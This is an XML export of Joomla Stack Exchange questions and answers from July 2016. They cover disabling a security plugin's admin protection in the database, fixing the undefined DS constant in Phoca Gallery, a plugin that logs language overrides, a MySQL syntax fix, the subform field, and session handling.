  <row Id="17125" PostTypeId="2" ParentId="10939" CreationDate="2016-07-12T14:16:58.107" Score="1" Body="&lt;p&gt;in this table &quot;&lt;code&gt;prefix_extensions&lt;/code&gt;&quot; under column name &quot;&lt;code&gt;name&lt;/code&gt;&quot; and search for &quot;&lt;code&gt;JHackGuard Plugin&lt;/code&gt;&quot; in column &quot;&lt;code&gt;enabled&lt;/code&gt;&quot; set value for &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this will disable the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also go to column &quot;&lt;code&gt;name&lt;/code&gt;&quot; and search for value &quot;&lt;code&gt;com_jhackguard&lt;/code&gt;&quot;&#xA;in column &quot;&lt;code&gt;params&lt;/code&gt;&quot;&lt;br&gt;&#xA;I change this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;enabled&quot;:&quot;1&quot;,&quot;log_level&quot;:&quot;1&quot;,&quot;log_garbage_collection&quot;:&quot;7&quot;,&quot;license_key&quot;:&quot;free-version&quot;,&quot;admin_protection&quot;:&quot;1&quot;,&quot;admin_keyword&quot;:&quot;admin&quot;,&quot;disable_uploads&quot;:&quot;1&quot;,&quot;scan_uploads&quot;:&quot;1&quot;,&quot;use_cymru&quot;:&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to be: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;enabled&quot;:&quot;1&quot;,&quot;log_level&quot;:&quot;1&quot;,&quot;log_garbage_collection&quot;:&quot;7&quot;,&quot;license_key&quot;:&quot;free-version&quot;,&quot;admin_protection&quot;:&quot;0&quot;,&quot;admin_keyword&quot;:&quot;&quot;,&quot;disable_uploads&quot;:&quot;1&quot;,&quot;scan_uploads&quot;:&quot;1&quot;,&quot;use_cymru&quot;:&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8686" LastEditorUserId="126" LastEditDate="2016-07-12T15:08:13.210" LastActivityDate="2016-07-12T15:08:13.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17126" PostTypeId="2" ParentId="17123" CreationDate="2016-07-12T18:20:17.187" Score="1" Body="&lt;p&gt;Your question is too broad for any detailed response and we don't know where to start with an answer. But I will take a stab in the dark (despite it possibly leading to a Joomla horror movie...). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you already have a MVC component going and want to pull data from other tables you should read up on database access in Joomla. &#xA;&lt;a href=&quot;https://docs.joomla.org/Accessing_the_database_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Accessing_the_database_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are probably looking for data from these tables: &#xA;jos_sections&#xA;jos_categories&#xA;jos_content&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that helps, however I would like to suggest that you investigate a component creator tool to assist you in understanding Joomla MVC layout. I use Component Creator (&lt;a href=&quot;https://www.component-creator.com/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.component-creator.com/en/&lt;/a&gt;), but there are lots out there. &lt;a href=&quot;https://stackoverflow.com/questions/4470272/component-builder-for-joomla&quot;&gt;https://stackoverflow.com/questions/4470272/component-builder-for-joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you have read the Joomla docs and still need more assistance you might try a Joomla book from Packt (&lt;a href=&quot;https://www.packtpub.com/all?search=joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.packtpub.com/all?search=joomla&lt;/a&gt;).  I can recommend &quot;Learning Joomla! 3 Extension Development-Third Edition&quot;. It has step by step directions for creating simple plugins and modules, as well as more complex components that are data driven. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="3779" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-07-12T18:20:17.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17127" PostTypeId="1" AcceptedAnswerId="17129" CreationDate="2016-07-12T18:49:57.550" Score="3" ViewCount="891" Body="&lt;p&gt;I'm using Joomla 3.5.1 . Recently I install &lt;code&gt;phoca gallery&lt;/code&gt; on my joomla. It does not work and unfortunately I can not uninstall it from extensions or plugin menu. When I click on &lt;em&gt;extension-management&lt;/em&gt; menu, I get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: require_once() [function.require-once]: Unable to access /home/aiprogra/public_html/administratorDScomponentsDScom_phocagalleryDSlibrariesDSloader.php in /home/aiprogra/public_html/plugins/content/phocagallery/phocagallery.php on line 20&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: require_once(/home/aiprogra/public_html/administratorDScomponentsDScom_phocagalleryDSlibrariesDSloader.php) [function.require-once]: failed to open stream: No such file or directory in /home/aiprogra/public_html/plugins/content/phocagallery/phocagallery.php on line 20&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Fatal error: require_once() [function.require]: Failed opening required '/home/aiprogra/public_html/administratorDScomponentsDScom_phocagalleryDSlibrariesDSloader.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/aiprogra/public_html/plugins/content/phocagallery/phocagallery.php on line 20&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I fix this error?&#xA;I Noted that I'm not a php progammer.&#xA;I prefer to uninstall it.&lt;/p&gt;&#xA;" OwnerUserId="8670" LastEditorUserId="8670" LastEditDate="2016-07-12T19:30:27.797" LastActivityDate="2016-08-11T23:08:09.887" Title="Joomla error on Phoca Gallery" Tags="|component|extensions|joomla-3.5|phocagallery|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17128" PostTypeId="1" AcceptedAnswerId="17130" CreationDate="2016-07-12T19:42:59.287" Score="2" ViewCount="52" Body="&lt;p&gt;I can not find how to write in log files of extentions Language Manager the following information: &#xA;&lt;br&gt;-user name&#xA;&lt;br&gt;-name of the constant&#xA;&lt;br&gt;- old value&#xA;&lt;br&gt;- new value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see the image &lt;img src=&quot;https://i.stack.imgur.com/TqHgT.png&quot; alt=&quot;example of language constant&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand I need to write a hook and put this code in it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JLog::add('user:'.$userName .' constantName:'.$constantName.' oldValue:'.$oldValue.' newValue:'.$newValue,JLog::INFO,'com_language.monitoring');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as I am new to Joomla, I do not know how to do it in a proper way, so after updating Joomla version everything still works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="8688" LastActivityDate="2016-07-14T23:21:57.693" Title="Save in logs files changes of Language Manager" Tags="|language|logs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17129" PostTypeId="2" ParentId="17127" CreationDate="2016-07-12T22:40:57.913" Score="1" Body="&lt;h2&gt;Background&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;DS&lt;/code&gt; is a constant that stands for &lt;code&gt;Directory Separator&lt;/code&gt;, and was used in earlier versions of Joomla in order to differentiate between forward slash &lt;code&gt;/&lt;/code&gt; and backslash &lt;code&gt;\&lt;/code&gt;. In short, this has to do with the fact that Linux systems (like Apache servers) use forward slash to separate directories, while Windows uses backslash as directory separator. However, Windows is just as happy with forward slash, so the &lt;code&gt;DS&lt;/code&gt; constant is not defined by default in Joomla anymore. This causes errors in extensions that still use the constant.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Your problem&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Phoca Plugin uses the following code to include a file from the main Phoca Gallery component:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once( JPATH_ADMINISTRATOR.DS.'components'.DS.'com_phocagallery'.DS.'libraries'.DS.'loader.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;DS&lt;/code&gt; has not been defined, PHP translates this as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once('/home/aiprogra/public_html/administratorDScomponentsDScom_phocagalleryDSlibrariesDSloader.php')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This file does not exist, and the actual path should have been:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/home/aiprogra/public_html/administrator/components/com_phocagallery/libraries/loader.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hence the error.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Solutions&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are a couple of ways to solve this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://digitaldisseny.com/en/joomla-extensions/solve-undefined-ds-constant-joomla-3-error&quot; rel=&quot;nofollow&quot;&gt;Download a small plugin&lt;/a&gt; called &lt;strong&gt;DS Constant for Joomla! 3.0&lt;/strong&gt; that defines the constant. I haven't tested the plugin myself, but it should work fine.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the plugin code (in this case the file is &lt;code&gt;ROOT/plugins/content/phocagallery/phocagallery.php&lt;/code&gt;, line 20), replacing any occurrence of &lt;code&gt;DS&lt;/code&gt; with a forward slash. This requires some basic PHP knowledge in order to get the quotes right.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Define the constant yourself, adding the following line in the file &lt;code&gt;ROOT/index.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('DS', DIRECTORY_SEPARATOR);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However this is a core hack and not recommended, since your site will break when you update Joomla.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-07-12T22:40:57.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17130" PostTypeId="2" ParentId="17128" CreationDate="2016-07-13T00:04:44.500" Score="3" Body="&lt;p&gt;Usually you would use &quot;onContentBeforeSave&quot; function of content-type plugin, but for some reason com_languages doesn't launch &quot;onContentBeforeSave&quot; and &quot;onContentAfterSave&quot; events. However there is another option. A bit more ugly, using system plugin and onAfterRoute event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First at all, we need XML file with some info about plugin (required by Joomla! installer), nothing fancy. Be sure that 'group' is set to 'system':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.5&quot; type=&quot;plugin&quot; group=&quot;system&quot;&amp;gt;&#xA;&amp;lt;name&amp;gt;plg_system_loglangoverrides&amp;lt;/name&amp;gt;&#xA;&amp;lt;author&amp;gt;Brad Markle&amp;lt;/author&amp;gt;&#xA;&amp;lt;creationDate&amp;gt;13.07.2016&amp;lt;/creationDate&amp;gt;&#xA;&amp;lt;copyright&amp;gt;Some copyright Info&amp;lt;/copyright&amp;gt;&#xA;&amp;lt;license&amp;gt;Your License&amp;lt;/license&amp;gt;&#xA;&amp;lt;authorEmail&amp;gt;your_email@somehost.ext&amp;lt;/authorEmail&amp;gt;&#xA;&amp;lt;authorUrl&amp;gt;Your url&amp;lt;/authorUrl&amp;gt;&#xA;&amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;&#xA;&amp;lt;description&amp;gt;Extension description&amp;lt;/description&amp;gt;&#xA;&amp;lt;files&amp;gt;&#xA;    &amp;lt;filename plugin=&quot;loglangoverrides&quot;&amp;gt;loglangoverrides.php&amp;lt;/filename&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we have our XML file, we can jump into PHP code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// No direct access&#xA;defined(&quot;_JEXEC&quot;) or die;&#xA;&#xA;// Create plugin class. 'plgSystem' part is a MUST&#xA;class plgSystemLogLangOverrides extends JPlugin {&#xA;&#xA;    // Define onAfterRoute() function. This approach have one great con. &#xA;    // If Joomla! encounters during save process, it will still log info.&#xA;    // You can experiment with other System Plugin Events, described here:&#xA;    // https://docs.joomla.org/Plugin/Events/System#onAfterDispatch&#xA;    public function onAfterRoute() {&#xA;        $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;        // We should get 'task', to run script only during lang-overrive saving.&#xA;        // Tasks for override saving are override.save, override.apply&#xA;        // and override.save2new (depends which button you've clicked)&#xA;        $task = $jinput-&amp;gt;getString(&quot;task&quot;, &quot;&quot;);&#xA;&#xA;        // Now we check this is the task we are looking for&#xA;        if (in_array($task, array('override.save', 'overrides.delete','override.apply', 'override.save2new')) !== false) {&#xA;            // Import JLog stuff. As far as I know it's not needed&#xA;            // anymore, just an old habit&#xA;            jimport('joomla.log.log');&#xA;&#xA;            // Here we get 'jform' array from $_POST array using JInput&#xA;            $formData = $jinput-&amp;gt;get('jform', '', 'array');&#xA;&#xA;            // Get username&#xA;            $userName = JFactory::getUser()-&amp;gt;username;&#xA;&#xA;            // Get constant name from $formData array&#xA;            $constantName = $formData['key'];&#xA;&#xA;            // Here we are trying to get an old value if exists.&#xA;            // You can find function getOldValue below&#xA;            $oldValue = self::getOldValue($constantName);&#xA;&#xA;            // Get new value from array&#xA;            $newValue = $formData['override'];&#xA;&#xA;            // Add new JLogger (required), let it save entries to&#xA;            // '/administrator/logs/com_languages.overrides.log.php' file&#xA;            JLog::addLogger(array('text_file' =&amp;gt; 'com_languages.overrides.log.php'));&#xA;&#xA;            // Add entry to log (you only need message)&#xA;            JLog::add('user:' . $userName . ' constantName:' . $constantName . ' oldValue:' . $oldValue . ' newValue:' . $newValue);&#xA;        }&#xA;    }&#xA;&#xA;    // function to get an old value of an override. Most is just 'stolen'&#xA;    // from&#xA;    // /administrator/components/com_languages/models/override.php -&amp;gt; &#xA;    // save() function&#xA;    protected function getOldValue($key) {&#xA;        // We must getApplication to be able to get language and client&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        // Add com_languages helper, required for parseFile function&#xA;        require_once JPATH_ROOT . '/administrator/components/com_languages/helpers/languages.php';&#xA;&#xA;        // Import filesystem stuff - just like previous jimport,&#xA;        // probably just an old habit&#xA;        jimport('joomla.filesystem.file');&#xA;&#xA;        // Get client (admin or site)&#xA;        $client = $app-&amp;gt;getUserState('com_languages.overrides.filter.client', 0);&#xA;&#xA;        // Get language&#xA;        $language = $app-&amp;gt;getUserState('com_languages.overrides.filter.language', 'en-GB');&#xA;&#xA;        $client = $client ? 'administrator' : 'site';&#xA;&#xA;        // Get override file&#xA;        $filename = constant('JPATH_' . strtoupper($client)) . '/language/overrides/' . $language . '.override.ini';&#xA;        $strings = LanguagesHelper::parseFile($filename);&#xA;&#xA;        // Check if selected constant exists. If yes - return 'old value'&#xA;        if (isset($strings[$key])) {&#xA;            return $strings[$key];&#xA;        }&#xA;&#xA;        // else return 'NO_OLD_VALUE'&#xA;        return 'NO_OLD_VALUE';&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that's all. Actually more comments than code itself. If you don't want to get too much into details, just save XML part as 'loglangoverrides.xml' and PHP part as 'loglangoverrides.php', zip it and install on your Joomla! instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards and good luck!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.&#xA;This code is not very well tested.&lt;/p&gt;&#xA;" OwnerUserId="1831" LastEditorUserId="1831" LastEditDate="2016-07-14T23:21:57.693" LastActivityDate="2016-07-14T23:21:57.693" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17131" PostTypeId="1" AcceptedAnswerId="17132" CreationDate="2016-07-13T00:58:33.797" Score="0" ViewCount="160" Body="&lt;p&gt;A couple of years ago, using joomla 2.5 and community builder with it's auto action plugin, I created a mysql script that registers a user on a secondary site after the user has registered on a primary site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a CB auto action that triggers after user registration on the primary site, the relevant user table, comprofiler table, and user group map table data for the newly registered user is sent to the secondary site. After the user has confirmed their registration (via the email from the primary site) another auto action, triggered on user confirmation, sets the user confirmed status in the secondary site to active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of that worked fine. I am now trying to update the script to work with joomla 3.5 (due to database changes) but I have a syntax error that I can't figure out. The script (only for the first auto action) is below, the only things have changed since the j2.5 version are the database fields, so I don't understand why there is a syntax error atm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The syntax error is: #1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 1 &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `joomla_3_5_1_3`.`lpwo8_users` (&#xA;`id` ,&#xA;`name` ,&#xA;`username` ,&#xA;`email` ,&#xA;`password` ,&#xA;`block` ,&#xA;`sendEmail` ,&#xA;`registerDate` ,&#xA;`lastvisitDate` ,&#xA;`activation` ,&#xA;`params` ,&#xA;`lastResetTime` ,&#xA;`resetCount` ,&#xA;`otpKey` ,&#xA;`otep` ,&#xA;`requireReset`&#xA;)&#xA;&#xA;&#xA;VALUES (&#xA;NULL , '[name]', '[username]', '[email]', '[cb:userdata field=&quot;password&quot; /]', '[block]', '[sendEmail]', '[registerDate]', '[lastvisitDate]', '[activation]', '[params]', '[lastResetTime]', '[resetCount]', '[otpKey]', '[otep]', '[requireReset]'&#xA;);&#xA;);&#xA;;&#xA;&#xA;SET @idtemp = (SELECT `id` FROM `lpwo8_users` WHERE `activation` = '[activation]');&#xA;INSERT INTO `joomla_3_5_1_3`.`lpwo8_comprofiler` (&#xA;`id` , &#xA;`user_id` , &#xA;`firstname` , &#xA;`middlename` , &#xA;`lastname` , &#xA;`hits` , &#xA;`message_last_sent` , &#xA;`message_number_sent` , &#xA;`avatar` , &#xA;`avatarapproved` , &#xA;`canvas` , &#xA;`canvasapproved` , &#xA;`approved` , &#xA;`confirmed` , &#xA;`lastupdatedate` , &#xA;`registeripaddr` , &#xA;`cbactivation` , &#xA;`banned` , &#xA;`banneddate` , &#xA;`unbanneddate`,  &#xA;`bannedby` , &#xA;`unbannedby` , &#xA;`bannedreason` , &#xA;`acceptedterms` , &#xA;`cb_antispam_ipaddress` , &#xA;`cb_antispam_captcha` , &#xA;`cb_fb_userid` , &#xA;`cb_twitter_userid` , &#xA;`cb_linkedin_userid` , &#xA;`cb_windowslive_userid` , &#xA;`cb_google_userid` , &#xA;`cb_instagram_userid` , &#xA;`cb_foursquare_userid` , &#xA;`cb_github_userid` , &#xA;`cb_vkontakte_userid` , &#xA;`cb_steam_userid` , &#xA;`cb_tumblr_userid` , &#xA;`cb_invite_code` , &#xA;`cb_privacy_profile` , &#xA;`cb_privacy_disable_me` , &#xA;`cb_privacy_delete_me` , &#xA;`cb_template_profile` , &#xA;`cb_pb_enable` , &#xA;`cb_pb_autopublish` , &#xA;`cb_pb_notifyme` , &#xA;`cb_pb_enable_blog` , &#xA;`cb_pb_enable_wall` , &#xA;`cb_pb_autopublish_wall` , &#xA;`cb_pb_notifyme_wall` , &#xA;`cb_pb_profile_rating`&#xA;)&#xA;&#xA;&#xA;&#xA;VALUES (&#xA;@idtemp, @idtemp,&#xA;'[firstname]', &#xA;'[middlename]', &#xA;'[lastname]', &#xA;'[hits]', &#xA;'[message_last_sent]', &#xA;'[message_number_sent]', &#xA;'[avatar]', &#xA;'[avatarapproved]', &#xA;'[canvas]', &#xA;'[canvasapproved]', &#xA;'[approved]', &#xA;'[confirmed]', &#xA;'[lastupdatedate]', &#xA;'[registeripaddr]', &#xA;'[cbactivation]', &#xA;'[banned]', &#xA;'[banneddate]', &#xA;'[unbanneddate]',  &#xA;'[bannedby]', &#xA;'[unbannedby]', &#xA;'[bannedreason]', &#xA;'[acceptedterms]', &#xA;'[cb_antispam_ipaddress]', &#xA;'[cb_antispam_captcha]', &#xA;'[cb_fb_userid]', &#xA;'[cb_twitter_userid]', &#xA;'[cb_linkedin_userid]', &#xA;'[cb_windowslive_userid]', &#xA;'[cb_google_userid]', &#xA;'[cb_instagram_userid]', &#xA;'[cb_foursquare_userid]', &#xA;'[cb_github_userid]', &#xA;'[cb_vkontakte_userid]', &#xA;'[cb_steam_userid]', &#xA;'[cb_tumblr_userid]', &#xA;'[cb_invite_code]', &#xA;'[cb_privacy_profile]', &#xA;'[cb_privacy_disable_me]', &#xA;'[cb_privacy_delete_me]', &#xA;'[cb_template_profile]', &#xA;'[cb_pb_enable]', &#xA;'[cb_pb_autopublish]', &#xA;'[cb_pb_notifyme]', &#xA;'[cb_pb_enable_blog]', &#xA;'[cb_pb_enable_wall]', &#xA;'[cb_pb_autopublish_wall]', &#xA;'[cb_pb_notifyme_wall]', &#xA;'[cb_pb_profile_rating]'&#xA;);&#xA;);&#xA;;&#xA;&#xA;&#xA;SET @idtempg = (SELECT `id` FROM `lpwo8_users` WHERE `activation` = '[activation]');&#xA;INSERT INTO `joomla_3_5_1_3`.`lpwo8_user_usergroup_map`(&#xA;`user_id` ,&#xA;`group_id`&#xA;) &#xA;VALUES (&#xA;@idtempg, '2'&#xA;);&#xA;);'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2336" LastActivityDate="2016-07-13T03:04:08.080" Title="Mysql syntax error in query to external using community builder autoaction" Tags="|joomla-3.x|mysql|community-builder|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17132" PostTypeId="2" ParentId="17131" CreationDate="2016-07-13T03:04:08.080" Score="1" Body="&lt;p&gt;I'm not familiar with CB autoaction, but it looks like you have some additional closing parenthesis and semicolons after each set of &lt;code&gt;VALUES&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VALUES (&#xA;NULL , '[name]', '[username]', '[email]', '[cb:userdata field=&quot;password&quot; /]', '[block]', '[sendEmail]', '[registerDate]', '[lastvisitDate]', '[activation]', '[params]', '[lastResetTime]', '[resetCount]', '[otpKey]', '[otep]', '[requireReset]'&#xA;);&#xA;);&#xA;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try removing them so it ends with a single closing parenthesis only, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VALUES (&#xA;NULL , '[name]', '[username]', '[email]', '[cb:userdata field=&quot;password&quot; /]', '[block]', '[sendEmail]', '[registerDate]', '[lastvisitDate]', '[activation]', '[params]', '[lastResetTime]', '[resetCount]', '[otpKey]', '[otep]', '[requireReset]'&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember to make this change in each set of &lt;code&gt;VALUES&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also check your SQL syntax using an &lt;a href=&quot;https://www.piliapp.com/mysql-syntax-check/&quot; rel=&quot;nofollow&quot;&gt;online tool&lt;/a&gt;, but since you're using a special CB syntax it will always fail. Still, it might give you a hint as to where you have an error.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-07-13T03:04:08.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17133" PostTypeId="2" ParentId="9513" CreationDate="2016-07-13T04:14:05.540" Score="0" Body="&lt;p&gt;If you don't care about the value inside the company field and you just want to hide it in the form, then why not just use CSS? Set the &lt;code&gt;display&lt;/code&gt; attribute of its div to &lt;code&gt;none&lt;/code&gt; and that's it.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-13T04:14:05.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17134" PostTypeId="1" AcceptedAnswerId="17135" CreationDate="2016-07-13T05:03:40.847" Score="5" ViewCount="1769" Body="&lt;p&gt;I have been looking for information about this new feature of Joomla 3.6 but so far I have not find anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can tell me what it is about?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-08-26T12:31:16.920" Title="New Sub Form Field function in Joomla 3.6" Tags="|joomla-3.6|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17135" PostTypeId="2" ParentId="17134" CreationDate="2016-07-13T06:36:05.367" Score="12" Body="&lt;h1&gt;New field Subform&lt;/h1&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;field-name&amp;quot; type=&amp;quot;subform&amp;quot; &#xA;    formsource=&amp;quot;path/to/form.xml&amp;quot; min=&amp;quot;1&amp;quot; max=&amp;quot;3&amp;quot; multiple=&amp;quot;true&amp;quot;&#xA;    layout=&amp;quot;joomla.form.field.subform.repeatable-table&amp;quot; groupByFieldset=&amp;quot;true&amp;quot;&#xA;    label=&amp;quot;Subform Field&amp;quot; description=&amp;quot;Subform Field Description&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The field allow to include any existing form into the current form. If attribute multiple set to true then the included form will be repeatable. The Field have a couple &amp;quot;predefined&amp;quot; layouts for display the subform as table or as div container, and of course it allow to use your own layout.&#xA;Field support Default values from the included form, and from JSON string in default attribute. Last have higher priority.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Attributes:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;formsource&lt;/code&gt; - (required) The form source to be included. Path to xml&#xA;file or the form name to search by JForm::getInstance().&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;multiple&lt;/code&gt; - The multiple state for the form field. Whether the field&#xA;is repeatable or not.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;min&lt;/code&gt; - Count of minimum repeating in multiple mode. Default 0.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;max&lt;/code&gt; - Count of maximum repeating in multiple mode. Default 1000.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;groupByFieldset&lt;/code&gt; - Whether group the subform fields by it`s fieldset&#xA;(true or false).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;buttons&lt;/code&gt; - Which buttons to show in multiple mode. Default&#xA;add,remove,move.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;layout&lt;/code&gt; - The layout name for render the field inputs. Available:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;joomla.form.field.subform.default&lt;/code&gt; - Render the subform in div          container, without support of repeating.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;joomla.form.field.subform.repeatable&lt;/code&gt; - Render the subform in div&#xA;container, recommended for multiple mode. Support groupByFieldset.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;joomla.form.field.subform.repeatable-table&lt;/code&gt; - Render the subform as&#xA;table, recommended for multiple mode. Support groupByFieldset. By&#xA;default render each field as the table column, but if&#xA;groupByFieldset=true then render each fieldset as the table column.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For more Information : &lt;a href=&quot;https://docs.joomla.org/Subform_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;Subform form field type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-08-26T12:31:16.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17136" PostTypeId="2" ParentId="17117" CreationDate="2016-07-13T07:42:49.470" Score="0" Body="&lt;p&gt;&lt;strong&gt;You have destroyed session of your website at all time?&lt;br&gt;&#xA;Kindly below code copy to paste your template index.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$session =JFactory::getSession(); // starting the session&#xA;$session-&amp;gt;destroy(); //This will destroy the joomla session&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Read the below documentation&lt;br&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/API15:JSession/destroy&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/API15:JSession/destroy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8344" LastActivityDate="2016-07-13T07:42:49.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
